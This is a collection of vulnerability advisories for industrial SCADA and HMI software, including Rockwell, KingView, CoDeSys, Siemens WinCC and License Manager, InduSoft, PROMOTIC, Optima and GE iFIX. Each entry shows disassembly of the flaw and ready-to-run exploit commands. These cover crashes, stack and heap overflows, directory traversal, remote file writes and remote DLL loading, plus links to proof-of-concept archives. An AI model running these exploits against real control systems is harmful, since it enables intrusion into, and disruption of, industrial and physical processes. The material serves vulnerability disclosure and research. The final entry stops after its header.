Platforms: *Windows*
Bugs: *A] RNADiagReceiver UDP silent Denial of Service*
B] RNADiagReceiver invalid memory access
Exploitation: *remote*
Date: *17 Jan 2012 (found 30 Sep 2011)*

From vendor's website:
"With RSLogix 5000 programming software, you need only one software package for discrete, process, batch, motion, safety and drive-based application."

RNADiagReceiver is a diagnostic component available in various Rockwell's products.

 # Vulnerabilities #

A] RNADiagReceiver UDP silent Denial of Service

The code of RNADiagReceiver that handles the UDP packets terminates when recvfrom() returns a value minor than zero.
Through a packet bigger than 2000 bytes it's possible to stop the handling of these packets:

```
00402CCC  |. 50                |PUSH EAX                          ; /pFromLen
00402CCD  |. 8D45 00           |LEA EAX,DWORD PTR SS:[EBP]        ; |
00402CD0  |. 50                |PUSH EAX                          ; |pFrom
00402CD1  |. 57                |PUSH EDI                          ; |Flags
00402CD2  |. 68 D0070000       |PUSH 7D0                          ; |BufSize = 2000
00402CD7  |. 8DB3 84000000     |LEA ESI,DWORD PTR DS:[EBX+84]     ; |
00402CDD  |. 56                |PUSH ESI                          ; |Buffer
00402CDE  |. FFB3 80000000     |PUSH DWORD PTR DS:[EBX+80]        ; |Socket
00402CE4  |. C745 DC 10000000  |MOV DWORD PTR SS:[EBP-24],10      ; |
00402CEB  |. FF15 80324300     |CALL DWORD PTR DS:[<&WS2_32.#17>] ; \recvfrom
00402CF1  |. 83F8 01           |CMP EAX,1
00402CF4  |. 8945 EC           |MOV DWORD PTR SS:[EBP-14],EAX
00402CF7  |.^0F8D DBFDFFFF     \JGE RNADiagR.00402AD8
00402CFD  |. FF15 64324300     CALL DWORD PTR DS:[<&WS2_32.#111>] ; [WSAGetLastError
00402D03  |. 50                PUSH EAX
00402D04  |. 68 FC344300       PUSH RNADiagR.004334FC             ; "Receive error"
00402D09  |. E8 E1E3FFFF       CALL RNADiagR.004010EF
00402D0E  |. 59                POP ECX
00402D0F  |. 59                POP ECX
00402D10  |> 8B4D F4           MOV ECX,DWORD PTR SS:[EBP-C]
00402D13  |. 64:890D 00000000  MOV DWORD PTR FS:[0],ECX
00402D1A  |. 59                POP ECX
00402D1B  |. 5F                POP EDI
00402D1C  |. 5E                POP ESI
00402D1D  |. 5B                POP EBX
00402D1E  |. 8B8D 18020000     MOV ECX,DWORD PTR SS:[EBP+218]
00402D24  |. 33CD              XOR ECX,EBP
00402D26  |. E8 D78D0000       CALL RNADiagR.0040BB02
00402D2B  |. 81C5 1C020000     ADD EBP,21C
00402D31  |. C9                LEAVE
00402D32  \. C3                RETN
```

B] RNADiagReceiver invalid memory access

Each UDP packet is divided in chunks of informations where each one is composed by a 32bit number and a 16bit size.
Through a big chunk size it's possible to crash the server due to an invalid memory access during the memcpy().

 # Exploit #

http://aluigi.org/testz/udpsz.zip

A]
```
udpsz SERVER 4445 2001
```

B]
```
udpsz -C "0002 0001" 0 -C "00000000 ffff" 0x34 -b a SERVER 4445 2000
```

Application: *KingView*
http://www.wellintek.com
http://www.wellintech.com/product-kingview.html
Versions: *nettransdll.dll <= 65.50.2010.18017*
Platforms: *Windows*
Bug: *heap overflow*
Exploitation: *remote, versus server*
Date: *probably found 10 Feb 2011*

"KingView is a powerful industrial software for monitoring & controlling industrial processes."

 # Vulnerabilities #

HistorySvr.exe is a service listening on port 777.

For handling the opcode 3 the server allocates the memory for the destination buffer using the number of elements *(16bit)* passed by the client and then performs the copying of the data considering the size of the packet as delimiter:

```
00323E52  |.  66:8B7B 07    MOV DI,WORD PTR DS:[EBX+7]    ; 16bit number of elements
...skip...
00323E6A  |>  8BC7          MOV EAX,EDI
00323E6C  |.  25 FFFF0000   AND EAX,0FFFF
00323E71  |.  8946 18       MOV DWORD PTR DS:[ESI+18],EAX
00323E74  |.  7E 2D         JLE SHORT 00323EA3
00323E76  |.  8D0C40        LEA ECX,DWORD PTR DS:[EAX+EAX*2]
00323E79  |.  C1E1 02       SHL ECX,2
00323E7C  |.  51            PUSH ECX
00323E7D  |.  E8 89B80000   CALL 0032F70B                 ; allocate
...skip...
00323EB5  |>  8B4E 54       /MOV ECX,DWORD PTR DS:[ESI+54]
00323EB8  |.  8B6E 1C       |MOV EBP,DWORD PTR DS:[ESI+1C]
00323EBB  |.  8D7C03 F4     |LEA EDI,DWORD PTR DS:[EBX+EAX-C]
00323EBF  |.  83C0 0C       |ADD EAX,0C
00323EC2  |.  8D0C49        |LEA ECX,DWORD PTR DS:[ECX+ECX*2]
00323EC5  |.  8D4C8D 00     |LEA ECX,DWORD PTR SS:[EBP+ECX*4]
00323EC9  |.  8B2F          |MOV EBP,DWORD PTR DS:[EDI]
00323ECB  |.  8929          |MOV DWORD PTR DS:[ECX],EBP   ; copy loop
00323ECD  |.  8B6F 04       |MOV EBP,DWORD PTR DS:[EDI+4]
00323ED0  |.  8969 04       |MOV DWORD PTR DS:[ECX+4],EBP
00323ED3  |.  8B7F 08       |MOV EDI,DWORD PTR DS:[EDI+8]
00323ED6  |.  8979 08       |MOV DWORD PTR DS:[ECX+8],EDI
00323ED9  |.  8B6E 54       |MOV EBP,DWORD PTR DS:[ESI+54]
00323EDC  |.  45            |INC EBP
00323EDD  |.  3BC2          |CMP EAX,EDX
00323EDF  |.  896E 54       |MOV DWORD PTR DS:[ESI+54],EBP
00323EE2  |.^ 7E D1         \JLE SHORT 00323EB5           ; EDX is the size of packet
```

 # Exploit #

http://aluigi.org/testz/udpsz.zip
http://aluigi.org/poc/kingview_crc.zip

```
udpsz -C "0010 03 0000 ffffffff 0100" -D -b a -L kingview_crc -T SERVER 777 0x1004
```

Application: *3S CoDeSys*
http://www.3s-software.com/index.shtml?en_CoDeSysV3_en
Versions: *<= 3.4 SP4 Patch 2*
Platforms: *Windows*
Bugs: *A] GatewayService integer overflow*
B] CmpWebServer stack overflow
C] CmpWebServer Content-Length NULL pointer
D] CmpWebServer invalid HTTP request NULL pointer
E] CmpWebServer folders creation
Exploitation: *remote*
Date: *29 Nov 2011*

From vendor's homepage:
"The CoDeSys Automation Suite is a comprehensive software tool for industrial automation technology. All common automation tasks solved by means of software can be realized with the CoDeSys Suite based on the wide-spread controller and PLC development system of the same name."

 # Vulnerabilities #

A] GatewayService integer overflow

GatewayService uses a 32bit value at offset *0x0c* of the header which specifies the size of the data to receive.
The program takes this number, adds *0x34* and allocates that amount of memory resulting in an integer overflow:

```
  0042CB30  /$ 55             PUSH EBP
  0042CB31  |. 8BEC           MOV EBP,ESP
  0042CB33  |. 8B45 08        MOV EAX,DWORD PTR SS:[EBP+8]
  0042CB36  |. 83C0 34        ADD EAX,34
  0042CB39  |. 5D             POP EBP
  0042CB3A  \. C3             RETN
  ...
  00447AF7  |. 8B45 0C        MOV EAX,DWORD PTR SS:[EBP+C]
  00447AFA  |. 50             PUSH EAX
  00447AFB  |. E8 3050FEFF    CALL GatewayS.0042CB30        ; + 0x34
  00447B00  |. 83C4 04        ADD ESP,4
  00447B03  |. 8945 0C        MOV DWORD PTR SS:[EBP+C],EAX
  00447B06  |> 6A 01          PUSH 1
  00447B08  |. 8B4D 0C        MOV ECX,DWORD PTR SS:[EBP+C]
  00447B0B  |. 51             PUSH ECX
  00447B0C  |. E8 A7050200    CALL GatewayS.004680B8        ; allocation
```

B] CmpWebServer stack overflow

CmpWebServer is the component used in services like 3SRTESrv3 and CoDeSysControlService for handling the HTTP connections on port 8080.

The library is affected by a buffer overflow in the function 0040f480 that copies the input URI in a limited stack buffer allowing code execution:

```
  0040F5C5  |> 8B55 F4        MOV EDX,DWORD PTR SS:[EBP-C]
  0040F5C8  |. 2B55 08        SUB EDX,DWORD PTR SS:[EBP+8]
  0040F5CB  |. 52             PUSH EDX
  0040F5CC  |. 8B45 08        MOV EAX,DWORD PTR SS:[EBP+8]
  0040F5CF  |. 50             PUSH EAX
  0040F5D0  |. 8B4D 10        MOV ECX,DWORD PTR SS:[EBP+10]
  0040F5D3  |. 51             PUSH ECX
  0040F5D4  |. E8 97420000    CALL CoDeSysC.00413870    ; memcpy
```

C] CmpWebServer Content-Length NULL pointer

NULL pointer caused by the lack of checks on the memory allocated
trusting the Content-Length value of an HTTP POST request:

```
  eax=812aa3a7 ebx=00a7ae7c ecx=20000000 edx=00000000 esi=012aa3a7 edi=00000000
  eip=0128cc9a esp=02e9feec ebp=02e9fef4 iopl=0         nv up ei pl nz ac po nc
  cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
  CmpWebServer!ComponentEntry+0xb37a:
  0128cc9a f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
```

D] CmpWebServer invalid HTTP request NULL pointer

NULL pointer caused by the usage of an unexpected HTTP request
different than GET, POST or HEAD:

```
  eax=028228d4 ebx=00000009 ecx=00000004 edx=02822957 esi=00000000 edi=00000005
  eip=0128dd6c esp=02e9fed4 ebp=02e9fee0 iopl=0         nv up ei pl nz na po nc
  cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
  CmpWebServer!ComponentEntry+0xc44c:
  0128dd6c 3a51fc          cmp     dl,byte ptr [ecx-4]        ds:0023:00000000=??
```

E] CmpWebServer folders creation

Not a security bug *(at least at the moment)* but enough weird and funny
to note.
The webserver calls CreateDirectory at address 0041206d before doing a
secondary CreateFile *(read mode)*.
The only possible attack scenario I can imagine may be in case the
server automatically generates logs or other files and this bug will
prevent their creation due to the presence of folders with the same
names, but I don't know the software enough to confirm this scenario.

 # Exploit #

http://aluigi.org/testz/udpsz.zip

A]
```
  udpsz -T -b 0x61 -X 0xc 32 l 0xffffffff2 -1 -l 0 -D SERVER 1217 0xffff
```

B]
```
  udpsz -c "GET /" 0 -b a -c "\\a HTTP/1.0\r\n\r\n" -1 -T -D SERVER 8080 8192
```

C]
```
  udpsz -T -c "POST / HTTP/1.0\r\nContent-Length: 4294967295\r\n\r\n" SERVER 8080 -1
```

D]
```
  udpsz -T -c "BLAH / HTTP/1.0\r\n\r\n" SERVER 8080 -1
```

E]
```
  udpsz -T -c "GET /dir\\a HTTP/1.0\r\n\r\n" SERVER 8080 -1
  udpsz -T -c "GET /dir\\dir\\a HTTP/1.0\r\n\r\n" SERVER 8080 -1
  udpsz -T -c "GET /dir\\dir\\dir\\a HTTP/1.0\r\n\r\n" SERVER 8080 -1
  udpsz -T -c "GET /dir\\dir\\dir\\dir\\a HTTP/1.0\r\n\r\n" SERVER 8080 -1
  udpsz -T -c "GET /dir\\dir\\dir\\dir\\dir\\a HTTP/1.0\r\n\r\n" SERVER 8080 -1
  ...
```

Application: *Microsys PROMOTIC*
http://www.promotic.eu/en/promotic/scada-pm.htm
Versions: *<= 8.1.4*
Platforms: *Windows*
Bug: *use-after-free*
Exploitation: *file*
Date: *28 Nov 2011*

From vendor's website:
"PROMOTIC is a complex SCADA object software tool for creating applications that monitor, control and display technological processes in various industrial areas."

 # Vulnerabilities #

There is an use-after-free vulnerability exploitable when the program terminates due to an error in the loading of a project.
For example if the project with the PRA registered extension isn't valid then there will be the possibility to execute code during the automatic closing of the software where are freed all the allocated resources.
From PmTool0:

```
  0038A2CD MOV ECX, DWORD PTR [EDX+8]
  0038A2D0 CALL ECX                    ; possible code execution
```

 # Exploit #

http://aluigi.org/poc/promotic_3.zip

The file is just one of the example files provided with the software in which I modified only one byte at offset *0x1dc0*.

Application: *Siemens Automation License Manager*
http://support.automation.siemens.com/WW/llisapi.dll?func=cslib.csinfo&lang=en&siteid=cseus&aktprim=0&extranet=standard&viewreg=WW&objid=10805384&treeLang=en
Versions: *<= 500.0.122.1*
Platforms: *Windows*
Bugs: *A] Service *_licensekey serialid code execution*
B] Service exceptions
C] Service NULL pointer
D] almaxcx.dll files overwriting
Exploitation: *remote*
Date: *28 Nov 2011*

Siemens Automation License Manager is the system used by Siemens for handling the remote and local licenses of its HMI, SCADA and industrial products.
This service is available in most of the products and it's necessary to their usage.

 # Vulnerabilities #

Service *_licensekey serialid code execution

Buffer overflow in the handling of the serialid field used in the various *_licensekey commands that share the same function for parsing the parameters.
The vulnerability leads to code execution:

```
011C7D96   8B01            MOV EAX,DWORD PTR DS:[ECX]
011C7D98   8B10            MOV EDX,DWORD PTR DS:[EAX]    ; controlled
011C7D9A   6A 01           PUSH 1
011C7D9C   FFD2            CALL EDX
```

B] Service exceptions

Some long fields can be used to raise an exception:

> The exception unknown software exception *(0xc0000417)* occurred in the application at location *0x*????????.

The exception is caused by the usage of wcscpy_s in some functions that copy the values passed by the client into stack buffers.
This is what happens with open_session->workstation->NAME *(function 00412060)* or grant->VERSION and so on.

Note that in some systems the exception doesn't lead to a direct Denial of Service *(except the resources for the thread left active)*.

C] Service NULL pointer

NULL pointer dereference in the handling of the get_target_ocx_param and send_target_ocx_param commands.

Note that in some systems the exception doesn't lead to a direct Denial of Service *(except the resources for the thread left active)*.

D] almaxcx.dll files overwriting

The almaxcx.dll ActiveX component *(ALMListView.ALMListCtrl E57AF4A2-EF57-41D0-8512-FECDA78F1FE7)* has a Save method that allows to specify an arbitrary filename to save.
The effect is the overwriting of any file with this empty one *(just 2 bytes* `"\r\n"`).

Note that I can't exclude the possibility of controlling the content of the saved file allowing code execution, indeed I didn't test the component deeper to check this hypothesis so it remains open and who has more experience than me with this component can confirm it or not.

 # Exploit #

http://aluigi.org/poc/almsrvx_1.zip

A]
```
almsrvx_1 almsrvx_1a.dat SERVER
```

B]
```
almsrvx_1 almsrvx_1b1.dat SERVER
almsrvx_1 almsrvx_1b2.dat SERVER
```

C]
```
almsrvx_1 almsrvx_1c.dat SERVER
```

D]
```
almsrvx_1d.htm
```

Application: *Siemens SIMATIC WinCC flexible (Runtime)*
http://www.automation.siemens.com/mcms/human-machine-interface/en/visualization-software/wincc-flexible/wincc-flexible-runtime/Pages/Default.aspx
Versions: *2008 SP2 + security patch 1*
Platforms: *Windows*
Bugs: *A] HmiLoad strings stack overflow*
B] HmiLoad directory traversal
C] HmiLoad various Denials of Service
D] miniweb directory traversal
E] miniweb arbitrary memory read access
Exploitation: *remote*
Date: *28 Nov 2011*

From vendor's homepage:
"WinCC flexible is ideal for use as a Human Machine Interface (HMI) in any machine or process-level application in plant, machine and series-machine construction. WinCC flexible is designed for all sectors of industry and offers engineering software for all SIMATIC HMI operator panels, from the smallest Micro Panel to the Multi Panel, as well as runtime visualization software for PC-based single-user systems running under Windows XP / Windows 7."

HmiLoad is a stand-alone tool that should be manually added to the startup folder for automatically start it everytime:
http://support.automation.siemens.com/WW/llisapi.dll?func=cslib.csinfo&objId=32813727&load=treecontent&lang=en&siteid=cseus&aktprim=0&objaction=csview&extranet=standard&viewreg=WW

 # Vulnerabilities #

The bugs are referred to HmiLoad in Transfer mode, where it listens on port 4410.

A] HmiLoad strings stack overflow

The functions that read data and unicode strings *(32 bit size plus data)* are affected by a stack overflow during the copying of the input data in a limited buffer trusting the size value provided by the client.
Code execution may be possible if the attacker is able to modify the memory after the input data *(0x400* bytes) using other types of packets and then sending a big string size for raising an invalid read access exeption with the corrupted SEH:

```
0040EFAB  |. FF76 18        PUSH DWORD PTR DS:[ESI+18]         ; /n
0040EFAE  |. 8D46 1C        LEA EAX,DWORD PTR DS:[ESI+1C]      ; |
0040EFB1  |. 50             PUSH EAX                           ; |src
0040EFB2  |. 8D85 E8FBFFFF  LEA EAX,DWORD PTR SS:[EBP-418]     ; |
0040EFB8  |. 50             PUSH EAX                           ; |dest
0040EFB9  |. E8 2C480000    CALL <JMP.&MSVCR80.memcpy>         ; \memcpy
...and...
0040F03C  |. FF76 04        PUSH DWORD PTR DS:[ESI+4]          ; /n
0040F03F  |. 8D46 08        LEA EAX,DWORD PTR DS:[ESI+8]       ; |
0040F042  |. 50             PUSH EAX                           ; |src
0040F043  |. 8D85 E8FBFFFF  LEA EAX,DWORD PTR SS:[EBP-418]     ; |
0040F049  |. 50             PUSH EAX                           ; |dest
0040F04A  |. E8 9B470000    CALL <JMP.&MSVCR80.memcpy>         ; \memcpy
```

B] HmiLoad directory traversal

The server is affected by a directory traversal vulnerability that allows access *(read, write and delete)* to any file on the disk outside the expected directory.

C] HmiLoad various Denials of Service

The server is affected by various problems that allow an attacker to stop or crash it in various ways.
They are not much interesting and useful so it's not important to go deeper in their details.

D] miniweb directory traversal
---

miniweb.exe is a program that listens on ports 80 and 443 when started.
Through the usage of encoded backslashes and directory traversal patterns is possible to download the files outside the download directory.

E] miniweb arbitrary memory read access
---

miniweb is affected by a weird vulnerability that allows an attacker to crash the server due to the access to an arbitrary invalid memory zone during the check of the extension of the requested file.

When it handles the HTTP POST requests it checks if the first byte of the URI is equal to *0xfa* in which case it considers the URI as a binary sequence of data composed by two 32bit integer numbers used for taking a new URI from the arbitrary memory address calculated on the second number or on the sum of both:

```
004425E0  /$ 8B4424 04      MOV EAX,DWORD PTR SS:[ESP+4]  ; URI_to_binary
004425E4  |. 85C0            TEST EAX,EAX
004425E6  |. 75 01           JNZ SHORT Miniweb.004425E9
004425E8  |. C3              RETN
004425E9  |> 8038 FA         CMP BYTE PTR DS:[EAX],0FA
004425EC  |. 75 03           JNZ SHORT Miniweb.004425F1
004425EE  |. 8B40 04         MOV EAX,DWORD PTR DS:[EAX+4]
004425F1  \> C3              RETN
...
0041AA38  |. 8B1D B0714500  MOV EBX,DWORD PTR DS:[<&MSVCR80.strncmp>]
0041AA3E  |. 83C4 04        ADD ESP,4
0041AA41  |. 8BE8            MOV EBP,EAX
0041AA43  |. 33F6            XOR ESI,ESI
0041AA45  |> 8B86 988D4500  /MOV EAX,DWORD PTR DS:[ESI+458D98]
0041AA4B  |. 3BE8           |CMP EBP,EAX
0041AA4D  |. 7C 1B          |JL SHORT Miniweb.0041AA6A
0041AA4F  |. 8B96 948D4500  |MOV EDX,DWORD PTR DS:[ESI+458D94]
0041AA55  |. 50             |PUSH EAX
0041AA56  |. 52             |PUSH EDX
0041AA57  |. 57             |PUSH EDI
0041AA58  |. E8 837B0200    |CALL Miniweb.004425E0        ; URI_to_binary
0041AA5D  |. 83C4 04        |ADD ESP,4
0041AA60  |. 50             |PUSH EAX
0041AA61  |. FFD3           |CALL EBX                     ; strncmp
0041AA63  |. 83C4 0C        |ADD ESP,0C
0041AA66  |. 85C0           |TEST EAX,EAX
0041AA68  |. 74 16          |JE SHORT Miniweb.0041AA80
0041AA6A  |> 83C6 08        |ADD ESI,8
0041AA6D  |. 83FE 08        |CMP ESI,8
0041AA70  |.^72 D3          \JB SHORT Miniweb.0041AA45
...and...
0041AAC5  |. E8 667A0200    CALL Miniweb.00442530
0041AACA  |. 8B2D C4714500  MOV EBP,DWORD PTR DS:[<&MSVCR80._strnicmp>]
0041AAD0  |. 83C4 04        ADD ESP,4
```

```
0041AAD3   |. 8BF8           MOV EDI,EAX
0041AAD5   |. 33F6           XOR ESI,ESI
0041AAD7   |> 3BBE A08D4500  /CMP EDI,DWORD PTR DS:[ESI+458DA0]
0041AADD   |. 7C 29          |JL SHORT Miniweb.0041AB08
0041AADF   |. 8B96 9C8D4500  |MOV EDX,DWORD PTR DS:[ESI+458D9C]
0041AAE5   |. 57             |PUSH EDI
0041AAE6   |. 52             |PUSH EDX
0041AAE7   |. 53             |PUSH EBX
0041AAE8   |. E8 F37A0200    |CALL Miniweb.004425E0        ; URI_to_binary
0041AAED   |. 8BCF           |MOV ECX,EDI
0041AAEF   |. 2B8E A08D4500  |SUB ECX,DWORD PTR DS:[ESI+458DA0]
0041AAF5   |. 83C4 04        |ADD ESP,4
0041AAF8   |. 03C1           |ADD EAX,ECX                  ; sum
0041AAFA   |. 50             |PUSH EAX
0041AAFB   |. FFD5           |CALL EBP                     ; _strnicmp
0041AAFD   |. 83C4 0C        |ADD ESP,0C
0041AB00   |. 85C0           |TEST EAX,EAX
0041AB02   |. 0F84 82000000  |JE Miniweb.0041AB8A
0041AB08   |> 83C6 08        |ADD ESI,8
0041AB0B   |. 83FE 08        |CMP ESI,8
0041AB0E   |.^72 C7          \JB SHORT Miniweb.0041AAD7
```

 # Exploit #

http://aluigi.org/testz/udpsz.zip

A]

```
  udpsz -C "0004 02 00 00 00 ffffffff" -b a -T SERVER 2308 2+0x400
  or
  udpsz -C "0004 03 00 00 00 00000000 00000000 00000000 00000000 00000000 ffffffff" -b a
-T SERVER 2308 2+0x400
  and so on, alternatively:
  udpsz -C "0004" -b 0xff -X 2 8 1 1 -l 0 -T SERVER 2308 2+0x400
```

B]

```
  udpsz -C "0004 03" 0 -C "01000000 80000000" 0x16 -c ".\0.\0/\0.\0.\0/\0.\0.\0/\0.\0.\0/
\0.\0.\0/\0.\0.\0/\0.\0.\0/\0.\0.\0/\0.\0.\0/\0.\0.\0/\0e\0v\0i\0l\0.\0e\0x\0e\0
" 0x1e -T SERVER 2308 2+0x400
```

C]

```
  udpsz -C "0004 28" -T SERVER 2308 2+0x400
  udpsz -C "0004 21" -T SERVER 2308 2+0x400
  udpsz -C "0004 22" -T SERVER 2308 2+0x400
  udpsz -C "0004 03" 0 -C "ffffffff" 0x16 -T SERVER 2308 2+0x400
```

D]

```
  http://aluigi.org/mytoolz/mydown.zip
  mydown http://SERVER/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cboot.ini
```

E]

```
  udpsz -c "POST \xfa\x01\x01\x01\x45\x40\x40\x41 HTTP/1.0\r\n\r\n" -T SERVER 80 -1
```

Application: *InduSoft WebStudio*
http://www.indusoft.com
Versions: *<= 7.0 (Oct 2010)*
Platforms: *Windows*
Bug: *stack overflow in NTWebServer.exe*
Exploitation: *remote, versus server*
Date: *probably found 15 Oct 2010*

"InduSoft is HMI SCADA software for developing applications in industrial, Instrumentation and Embedded Systems"

 # Vulnerabilities #

NTWebServer.exe is a basic web server running on port 80 used for managing the SCADA software through the activex component located on it.

The server is affected by a buffer overflow during the copying of the received GET or HEAD HTTP requests in a stack buffer of 2 kilobytes through the function 004049d0.

 # Exploit #

The vulnerability can be easily tested with a browser requesting a long URI.

Application: *InduSoft WebStudio*
http://www.indusoft.com
Versions: *<= 7.0 (Oct 2010)*
Platforms: *Windows*
Bug: *directory traversal in NTWebServer.exe*
Exploitation: *remote, versus server*
Date: *probably found 15 Oct 2010*

"InduSoft is HMI SCADA software for developing applications in industrial, Instrumentation and Embedded Systems"

 # Vulnerabilities #

NTWebServer.exe is a basic web server running on port 80 used for managing the SCADA software through the activex component located on it.

The server is affected by a directory traversal that allows an attacker to read any file on the disk on which is installed the software through the classical ../ and ..\ patterns *(no URL encoding, so attention with the browser)*.

 # Exploit #

Application: *InduSoft WebStudio*
http://www.indusoft.com
Versions: *<= 7.0 (Oct 2010)*
Platforms: *Windows*
Bug: *full file access in CEServer.exe*
Exploitation: *remote, versus server*
Date: *probably found 15 Oct 2010*

"InduSoft is HMI SCADA software for developing applications in industrial, Instrumentation and Embedded Systems"

 # Vulnerabilities #

CEServer.exe is the remote agent server running on port 4322.

The protocol is constituited by an 8 bit opcode *(from 0x01 to 0x39)*
followed by the data.
Note that the commands are not handled for their real size but simply
as they are read from recv*()*.

Through the following opcodes is possible to read, write, overwrite
and delete any file in the disks or shared folders accessible by the
software:

- *0x01* string:
  write mode with the NULL delimited name of the file to open, both
  absolute and relative paths supported
- *0x02* 32bit data:
  the write operation where the opcode is followed by a 32bit number
  that specifies the amount of bytes to write and the data
- *0x04* string:
  read mode, same format as *0x01*
- *0x05*:
  request the reading of the file from the current position
- *0x0c* string:
  creates a text file using the section/parameter/value syntax, that
  can be used to create bat files.
  the dot used below stands for the tab char *(0x09)*
    filename.section_name.parameter.value
- *0x15* string:
  remove the specified filename

Note that also some other opcodes perform file operations but the above
ones are the most important and with direct access to the files.

 # Exploit #

http://aluigi.org/testz/udpsz.zip
http://aluigi.org/poc/indusoft_3.zip

```
  udpsz -T 0xffffffff -f indusoft_3a.dat,indusoft_3b.dat,indusoft_3c.dat,indusoft_3d.dat
-D SERVER 4322 -1
```

the proof-of-concept will create the file c:\evil.txt with the content
"hello" and will read it.

Application: *InduSoft WebStudio*
http://www.indusoft.com
Versions: *<= 7.0 (Oct 2010)*
Platforms: *Windows*
Bug: *arbitrary dll loading in CEServer.exe*
Exploitation: *remote, versus server*
Date: *probably found 15 Oct 2010*

"InduSoft is HMI SCADA software for developing applications in industrial, Instrumentation and Embedded Systems"

 # Vulnerabilities #

CEServer.exe is the remote agent server running on port 4322 and **"Studio Manager.exe"** is the main server component.

The protocol is constituited by an 8 bit opcode *(from 0x01* to *0x39)* followed by the data.

The opcode *0x31* is followed by a string containing the name of the DLL that will be loaded in real-time by Studio Manager.
So an attacker can execute remote code by providing the name of a custom dll residing on his shared folder or alternatively on a local disk created through the directory traversal vulnerabilities of the other advisories.

Note that doesn't matter if Studio Manager is running or not because it can be started remotely through the opcode *0x07*.

 # Exploit #

http://aluigi.org/testz/udpsz.zip

```
  udpsz -C 07 -T SERVER 4322 -1
  udpsz -c "1\\\\myhost\\myshare\\name_of_the_dll_to_load_without_DLL_extension\0" -T SER
VER 4322 -1
```

Application: *InduSoft WebStudio*
http://www.indusoft.com
Versions: *<= 7.0 (Oct 2010)*
Platforms: *Windows*
Bug: *unicode stack overflow in CEServer.exe*
Exploitation: *remote, versus server*
Date: *probably found 15 Oct 2010*

"InduSoft is HMI SCADA software for developing applications in industrial, Instrumentation and Embedded Systems"

 # Vulnerabilities #

CEServer.exe is the remote agent server running on port 4322.

The protocol is constituited by an 8 bit opcode *(from 0x01* to *0x39)* followed by the data.

The opcode *0x15* is used to remove files from the disk and the code that handles it is vulnerable to a stack overflow caused by the copying of the input filename *(converted in unicode by a previous instruction)* in a stack buffer of 512 bytes *(256 unicode chars)*.

 # Exploit #

http://aluigi.org/testz/udpsz.zip

```
udpsz -C 15 -b 0x61 -T SERVER 4322 1000
```

Application: *Optima APIFTP Server*
http://www.optimalog.com/home.html
Versions: *<= 1.5.2.13*
Platforms: *Windows*
Bugs: *A] NULL pointer*
B] endless loop
Exploitation: *remote*
Date: *13 Nov 2011*

Optima is a suite of automation software for controlling PLC via
SCADA/HMI interface.
APIFTP Server is a file server for working with remote files located on
shared folders.

 # Vulnerabilities #

A] NULL pointer

NULL pointer exploitable through too long path names.
The effect is the displaying of a MessageBox with the error and the
continuing of the execution that will lead to a stack exaustion after
some seconds and the termination of the server.

B] endless loop

Endless loop with CPU at 100% caused by incomplete packets:

```
  004A9C93   8B03             /MOV EAX,DWORD PTR DS:[EBX]
  004A9C95   8B80 78010000    |MOV EAX,DWORD PTR DS:[EAX+178]
  004A9C9B   2D B80B0000      |SUB EAX,0BB8     ; Switch (cases BB8..BE0)
  004A9CA0   74 19            |JE SHORT APIFTPSe.004A9CBB
  004A9CA2   83E8 14          |SUB EAX,14
  004A9CA5   74 47            |JE SHORT APIFTPSe.004A9CEE
  004A9CA7   83E8 0A          |SUB EAX,0A
  004A9CAA   0F84 9D000000    |JE APIFTPSe.004A9D4D
  004A9CB0   83E8 0A          |SUB EAX,0A
  004A9CB3   0F84 CA000000    |JE APIFTPSe.004A9D83
  004A9CB9  ^EB D8            |JMP SHORT APIFTPSe.004A9C93
```

 # Exploit #

http://aluigi.org/testz/udpsz.zip

A]
```
udpsz -C "e803 0400 ff" -T -D -3 -d SERVER 10260 0x107
```

wait some seconds, the tool will quit automatically

B]
```
udpsz -C "e803 0400 00" -T -D SERVER 10260 -1
```

Application: *Proficy HMI/SCADA - iFIX*
http://www.ge-ip.com/products/family/proficy_hmiscada_ifix
Versions: *Historian Data Archiver <= 4.0 SIM7 and 3.5 SIM14*
Platforms: *Windows*
Bug: *stack overflow*
Exploitation: *remote, versus server*
Date: *probably found 18 Jan 2011*

 # Vulnerabilities #

ihDataArchiver.exe is a service running on port 14000.

The protocol is composed by:
- 2 bytes: magic
- *0x26* bytes: header
- optional 4 bytes: a 32bit containing some options
- data

The service performs a simple operation for reading that 32bit number:

```
  int options;
  len = header_size - 0x28;
  if(len) {
    recv_len = receive_function(&options, len, 0);
    ...
```

with the effect of causing a classical stack overflow by writing a
custom amount of data in the stack 32bit variable.

Code execution is possible because we can force an exception before the
checking of the canary as demonstrated in my proof-of-concept.

 # Exploit #

http://aluigi.org/poc/ifix_1.zip

Application: *Microsys PROMOTIC*
http://www.promotic.eu/en/promotic/scada-pm.htm
Versions: *<= 8.1.4*
Platforms: *Windows*
Bug: *ActiveX GetPromoticSite unitialized pointer*
Exploitation: *remote*
Date: *30 Oct 2011*

From vendor's website:
"PROMOTIC is a complex SCADA object software tool for creating applications that monitor, control and display technological processes in various industrial areas."

 # Vulnerabilities #

Code execution through an unitialized pointer exploitable via the GetPromoticSite method of the PmTable.ocx ActiveX *(19BA6EE6-4BB4-11D1-8085-0020AFC8C4AF)*.

Note that the ActiveX object could require the acknoledge of the user for being executed.

 # Exploit #

http://aluigi.org/poc/promotic_2.zip

Application: *Microsys PROMOTIC*
http://www.promotic.eu/en/promotic/scada-pm.htm
Versions: *<= 8.1.4*
Platforms: *Windows*
Bugs: *A] directory traversal*
B] ActiveX SaveCfg stack overflow
C] ActiveX AddTrend heap overflow
Exploitation: *remote*
Date: *13 Oct 2011*

From vendor's website:
"PROMOTIC is a complex SCADA object software tool for creating applications that monitor, control and display technological processes in various industrial areas."

 # Vulnerabilities #

A] directory traversal

Directory traversal through the directory containing the files.
This path can have various names specified by the project like **"dir"** for the AppExamples.pra example or **"webdir"** for demo.pra and so on.

B] ActiveX SaveCfg stack overflow

Stack overflow via the SaveCfg method of the object
02000002-9DFA-4B37-ABE9-1929F4BCDEA2.

C] ActiveX AddTrend heap overflow

Heap overflow via the AddTrend method.

Note that the ActiveX object could require the acknoledge of the user for being executed.

 # Exploit #

A]
http://SERVER/webdir/..\..\..\..\..\boot.ini
http://SERVEr/webdir/../../../../../boot.ini

B]
http://aluigi.org/poc/promotic_1.zip

Application: *atvise webMI2ADS - Web server for Beckhoff PLCs*
http://www.atvise.com/en/atvise-downloads/products
